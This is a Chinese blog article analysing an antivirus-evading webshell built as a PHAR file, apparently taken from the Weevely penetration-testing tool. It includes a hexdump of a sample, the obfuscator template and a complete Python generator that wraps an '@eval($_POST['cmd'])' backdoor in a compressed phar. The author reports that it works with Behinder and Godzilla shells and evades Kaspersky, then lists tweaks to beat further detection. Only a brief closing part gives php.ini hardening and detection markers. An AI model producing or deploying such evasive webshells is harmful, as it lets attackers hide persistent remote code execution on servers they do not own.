Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,类似中国菜刀。本篇文章主要介绍Weevely免杀马原理。
前几天,同事突然给了我一个php木马让我看看,攻击者使用的是phar文件,但是该phar文件可以执行被当作php文件来执行,且里面写了执行代码(使用了zlib压缩)。最重要的是,上传到微步报 正常文件。
只有卡巴斯基报了毒
具体文件内容如下
┌──(root㉿kali)-[~/Desktop]
└─# xxd 123.phar
00000000: 3c3f 7068 7020 696e 636c 7564 6520 225c <?php include "\
00000010: 3136 305c 7836 385c 3134 315c 7837 325c 160\x68\141\x72\
00000020: 3732 5c35 375c 3537 222e 6261 7365 6e61 72\57\57".basena
00000030: 6d65 285f 5f46 494c 455f 5f29 2e22 5c35 me(__FILE__)."\5
00000040: 375c 7837 3822 3b5f 5f48 414c 545f 434f 7\x78";__HALT_CO
00000050: 4d50 494c 4552 2829 3b20 3f3e 2f00 0000 MPILER(); ?>/...
00000060: 0100 0000 1100 0010 0100 0000 0000 0000 ................
00000070: 0000 0100 0000 78e1 0100 0000 0000 0057 ......x........W
00000080: 0100 0014 45f6 4bff 1100 0000 0000 0055 ....E.K........U
00000090: 9051 4bc3 3014 85df fb2b 4ab8 cc84 0eb7 .QK.0....+J.....
000000a0: ea98 cc2c 5804 9f7c 515f c72c 6d77 b365 ...,X..|Q_.,mw.e
000000b0: 6b93 9266 2a1b fbef de56 1424 1038 dfe5 k..f*....V.$.8..
000000c0: 9ccb b9cb 8776 d7c6 f851 d4fc 0a0e 8aa5 .....v...Q......
000000d0: 8b79 39d5 e98c 4938 ec14 c3b2 98cf 319d .y9...I8......1.
000000e0: eab2 b8eb 9156 6cb6 29f5 0217 8bea e646 .....Vl.)......F
000000f0: 136a 150b af27 bcd5 cdf3 e793 7e7c 79db .j...'......~|y.
00000100: 9d98 8c22 7db4 5530 cec6 5f1c c218 0ee2 ..."}.U0.._.....
00000110: 1c41 a5ba e06b b49c a484 fa4f 0552 4e31 .A...k.....O.RN1
00000120: b269 e739 1835 9560 9650 4b32 0d64 4f84 .i.9.5.`.PK2.dO.
00000130: fe25 54a3 d130 21c3 3e49 c660 9244 4494 .%T..0!.>I.`.DD.
00000140: ecae 1584 1598 f53b 1c56 b05f cbe8 42cf .......;.V._..B.
00000150: 6338 7a1b 83eb a5d1 31cf 5a8f dbbc 2942 c8z.....1.Z...)B
00000160: b5e3 6c42 05f9 7522 a8d4 848d 336d 6acc ..lB..u"....3mj.
00000170: b718 f2ca d980 3674 9cd1 65ee 2713 63db ......6t..e.'.c.
00000180: 6360 620c 8d50 2a15 f139 ca5c 9977 a1f0 c`b..P*..9.\.w..
00000190: 810b 1965 c3ed b2ed 890a bb86 1674 1dcf ...e.........t..
000001a0: be78 5616 1dce 67f9 062b b741 0ecd 2a5d .xV...g..+.A..*]
000001b0: 8bfe 0e82 3cd4 b6cf f8b7 ad8f 2286 7693 ....<.......".v.
000001c0: 5735 16b6 07e0 d56f 0eda 21a7 4fde 9efe W5.....o..!.O...
000001d0: 1681 fbc9 9451 eb8d 0d9c 414b adc0 5327 .....Q....AK..S'
000001e0: 46f0 7225 e437 8bdc 22b1 ccc2 9a87 45f4 F.r%.7..".....E.
000001f0: fcf3 0217 b585 36a4 9120 0200 0000 4742 ......6.. ....GB
00000200: 4d42 MB
┌──(root㉿kali)-[~/Desktop]
└─# cat 123.phar
<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>/x�WE�K�U�QK�0���+J�����,X�|Q_�,mw�ek��f*��V$8���˹ˇv���Q��
���y9���I8�ò��1�겸��Vl�)����Fj
dO��%T��0!�>I�`�DD������;V�_��B�c8z���1�Z�ۼ)B��lB�u"�Ԅ�3mj▒��ـ6t��e�'c�c`b�`�PK2
�P*�9�\�w���
e�����
�AK��S'F�r%�7��"���E�����6�� GBMB
在weevely源码中,bd目录里面有agent目录和obfuscators目录。其中 agent 目录为webshell来 代码执行的php代码。obfuscators目录为来混淆 代码执行 的代码。其中 myobfusc.tpl 是我自己写的。
且在利用工具生成木马时,可以选择 agents 和 obfuscators。
weevely generate -agent obfpost_php -obfuscator obfusc1_php "An0ma1" ./An0ma1.php
其中 cleartext1_php 是无混淆模式,即直接输出 代码执行 的连接代码
obfusc1_php混淆器 做了混淆,但混淆力度不够,有特征值,会轻易被杀。具体可以参考这篇文章
实战Webshell管理工具Weevely检测思路分析 - FreeBuf网络安全行业门户
重点要分析的是 phar 混淆器。微步云沙箱报正常文件
混淆器源码如下,agent 为传入的变量,值为 代码执行 的连接代码,即obfpost_php里面的值
<%!
import io
import zlib
import base64
import hashlib
from datetime import datetime
%><%
clean_agent = agent.strip(b'\n')
stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>"""
fname = b'x'
f = b'<?php eval(\''+clean_agent+b'\');'
fenc = zlib.compress(f)[2:-4]
flags = 0x00011000
output = io.BytesIO()
output.write(stub)
# Manifest
manifest_len_cursor = output.tell()
output.write(b'\0\0\0\0') # Placeholder for manifest length
output.write((1).to_bytes(4, 'little'))
output.write(b'\x11\x00') # Phar version
output.write((flags).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little')) # Alias
output.write((0).to_bytes(4, 'little')) # Metadata
# Entry manifest
output.write(len(fname).to_bytes(4, 'little'))
output.write(fname)
output.write(len(f).to_bytes(4, 'little'))
output.write(int(0).to_bytes(4, 'little')) # Timestamp
output.write(len(fenc).to_bytes(4, 'little'))
output.write(zlib.crc32(f).to_bytes(4, 'little'))
output.write((0o777 | 0x00001000).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little'))
# Fix manifest length
manifest_len = output.tell() - manifest_len_cursor - 4
s, t = manifest_len_cursor, manifest_len_cursor + 4
output.getbuffer()[s:t] = manifest_len.to_bytes(4, 'little')
# Content
output.write(fenc)
output.write(hashlib.sha1(output.getvalue()).digest())
output.write((0x0002).to_bytes(4, 'little'))
output.write(b'GBMB')
%>b64:${base64.b64encode(output.getvalue()).decode('utf-8')}
下面会 phar 文件格式 进行详细解释
PHAR(PHP Archive)是PHP的归档文件格式,类似于JAR文件,可将多个PHP文件、资源打包为单一文件。
先看一个简单例子
<?php
class TestObject{
}
$phar = new Phar("phar.phar"); //生成时,后缀名必须为phar
$phar->startBuffering(); //开启缓存
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //设置元数据
$phar->addFromString("An0ma1.txt","An0ma1"); // 添加数据存储
$phar->stopBuffering(); // 结束后会自动签名
?>
phar 文件格式分四部分
Stub部分
首先,生成一个phar时,一定要有stub,且 stub 一定要以 __HALT_COMPILER(); ?>
结尾,注意:封号后门必须有一个空格,这里主要是 通过__HALT_COMPILER(); ?>
标记PHAR文件元数据开始部分
Manifest元数据
二进制数据,小端序
偏移量 | 长度 | 字段 | 示例值 | 说明 |
0x00 | 4 | Manifest长度 | 0x3C000000 | 总长度 |
0x04 | 4 | 文件数量 | 0x01000000 | 包含1个文件 |
0x08 | 2 | API版本 | 0x0011 | PHAR 1.1.0 |
0x0A | 4 | 全局标志 | 0x00100001 | 压缩+SHA1签名 |
0x0E | 4 | 别名长度 | 0x00000000 | 无别名 |
0x12 | 4 | 元数据类型 | 0x00000000 | 无序列化metadata |
数据存储
偏移量 | 长度 | 字段 | 示例值 | 说明 |
0x00 | 4 | 文件名长度 | 0x01000000 | 文件名长度1字节(示例文件名为x <br><br>) |
0x04 | 实际长度 | 文件名内容 | 0x78 | ASCII字符 x |
0x05 | 4 | 原始大小 | 0x14000000 | 未压缩文件内容长度 |
0x09 | 4 | Unix时间戳 | 0x00000000 | 时间戳置零 |
0x0D | 4 | 压缩后大小 | 0x0F000000 | 压缩后文件内容长度 |
0x11 | 4 | CRC32校验值 | 0x78563412 | 校验和计算值(示例0x12345678 <br><br>的小端序表示) |
0x15 | 4 | 权限+压缩标志 | 0xFF110000 | 0o777 <br><br>权限(0x1FF)与0x1000 <br><br>压缩标志组合(实际值0x11FF <br><br>小端序) |
0x19 | 4 | 元数据长度 | 0x00000000 | 无附加元数据 |
签名部分
偏移量 | 长度 | 字段 | 示例值 | 说明 |
0x00 | 20 | SHA1哈希值 | ..... | 总长度20字节 |
0x20 | 4 | 签名类型 | 0x02000000 | SHA1签名类型 |
0x24 | 4 | 魔术签名 | GBMB | GBMB |
对上面免杀马的模板继续 依次分析
clean_agent = agent.strip(b'\n')
stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>"""
fname = b'x'
f = b'<?php eval(\''+clean_agent+b'\');'
fenc = zlib.compress(f)[2:-4]
flags = 0x00011000
output = io.BytesIO()
output.write(stub)
# Manifest
manifest_len_cursor = output.tell()
output.write(b'\0\0\0\0') # Placeholder for manifest length
output.write((1).to_bytes(4, 'little'))
output.write(b'\x11\x00') # Phar version
output.write((flags).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little')) # Alias
output.write((0).to_bytes(4, 'little')) # Metadata
# Entry manifest
output.write(len(fname).to_bytes(4, 'little'))
output.write(fname)
output.write(len(f).to_bytes(4, 'little'))
output.write(int(0).to_bytes(4, 'little')) # Timestamp
output.write(len(fenc).to_bytes(4, 'little'))
output.write(zlib.crc32(f).to_bytes(4, 'little'))
output.write((0o777 | 0x00001000).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little'))
# Fix manifest length
manifest_len = output.tell() - manifest_len_cursor - 4
s, t = manifest_len_cursor, manifest_len_cursor + 4
output.getbuffer()[s:t] = manifest_len.to_bytes(4, 'little')
# Content
output.write(fenc)
output.write(hashlib.sha1(output.getvalue()).digest())
output.write((0x0002).to_bytes(4, 'little'))
output.write(b'GBMB')
%>b64:${base64.b64encode(output.getvalue()).decode('utf-8')}
这里肯定有人好奇,既然写入x文件的内容是 zlib压缩的,那为什么直接 include basename(__FILE__)\x
。没有 对 文件内容的解码部分?
是这样的,这是 phar文件的自动解压机制解析 。PHAR文件的自动解压依赖于文件条目中的压缩标志位 ,即代码中 output.write((0o777 | 0x00001000).to_bytes(4, 'little')) # 权限+压缩标志
这段。 其中 0x00001000
对应 PharEntry::COMPRESSED
,激活自动解压。
上面混淆代码本质 是 在 phar 文件里面嵌入一段其它的php代码。那么这段代码可不可以是 冰蝎,哥斯拉,蚁剑的连接代码?说白了,这就像是一个壳。使用python进行整理,脚本如下
code 变量里面可以切换为 冰蝎,哥斯拉,蚁剑的连接代码
测试该格式的木马 适用版本 PHP 5.3+
import io
import zlib
import base64
import hashlib
import argparse
def generate_phar(agent_code: bytes) -> bytes:
# 清理输入代码
clean_agent = agent_code.strip(b'\n')
# 1. 构造Phar存根(路径混淆)
stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>"""
# 2. 构造内部恶意代码
fname = b'x'
f = clean_agent
# 3. 压缩内容(绕过基础检测)
fenc = zlib.compress(f)[2:-4] # 移除zlib头尾
# 4. 初始化二进制流
output = io.BytesIO()
output.write(stub)
# 5. 写入Manifest占位符
manifest_len_cursor = output.tell()
output.write(b'\0\0\0\0')
# 6. 构建Manifest结构
output.write((1).to_bytes(4, 'little'))
output.write(b'\x11\x00')
output.write((0x00011000).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little'))
# 7. 写入文件条目
output.write(len(fname).to_bytes(4, 'little'))
output.write(fname)
output.write(len(f).to_bytes(4, 'little'))
output.write(int(0).to_bytes(4, 'little'))
output.write(len(fenc).to_bytes(4, 'little'))
output.write(zlib.crc32(f).to_bytes(4, 'little'))
output.write((0o777 | 0x00001000).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little'))
# 8. 修正Manifest长度
manifest_len = output.tell() - manifest_len_cursor - 4
output.seek(manifest_len_cursor)
output.write(manifest_len.to_bytes(4, 'little'))
# 9. 追加压缩内容
output.seek(0, io.SEEK_END)
output.write(fenc)
# 10. 计算签名
full_content = output.getvalue()
output.write(hashlib.sha1(full_content).digest())
output.write((0x0002).to_bytes(4, 'little'))
output.write(b'GBMB')
return base64.b64encode(output.getvalue())
if __name__ == "__main__":
code="<?php @eval($_POST['cmd']);?>"
# 生成并输出Base64结果
b64_phar = generate_phar(code.encode('utf-8'))
print(f"b64:{b64_phar.decode('utf-8')}")
with open("123.php","wb") as f:
f.write(base64.b64decode(b64_phar))
print("Done!")
冰蝎测试成功
哥斯拉测试成功
为什么卡巴斯基会查杀,个人测试其可能使用了熵值检测 或关键词 include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>
。我生成php文件内容如下
可以正常执行命令
但是卡巴斯基不杀了。且GPT也没有发现这是一个木马文件
对免杀马的进一步魔改,首先 __HALT_COMPILER(); ?>
之前代码可以随便写。
其次,上面使用的是 0o777 | 0x00001000。即 zlib 加密方式,是不是可以改成 0x00002000 Bzip2压缩 , 0x0000F000 压缩算法掩码 等其它格式。0o777是不是权限太大了,改成 0o750。
签名部分是不是可以改成 0x0001 md5签名。 0x0004 OpenSSL签名 。
文件名是不是可以修改。
二进制一些字段。 别名长度 元数据类型 API版本 Unix时间戳,全局标识 是不是可以修改。
这些修改之后可以进一步 过掉 杀软的关键词查杀。(当然,现在还没有)
; php.ini配置
phar.readonly = On
allow_url_include = Off
GMBN``\xff\x11\x00\x00``basename(__FILE__)
条件同时存在1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!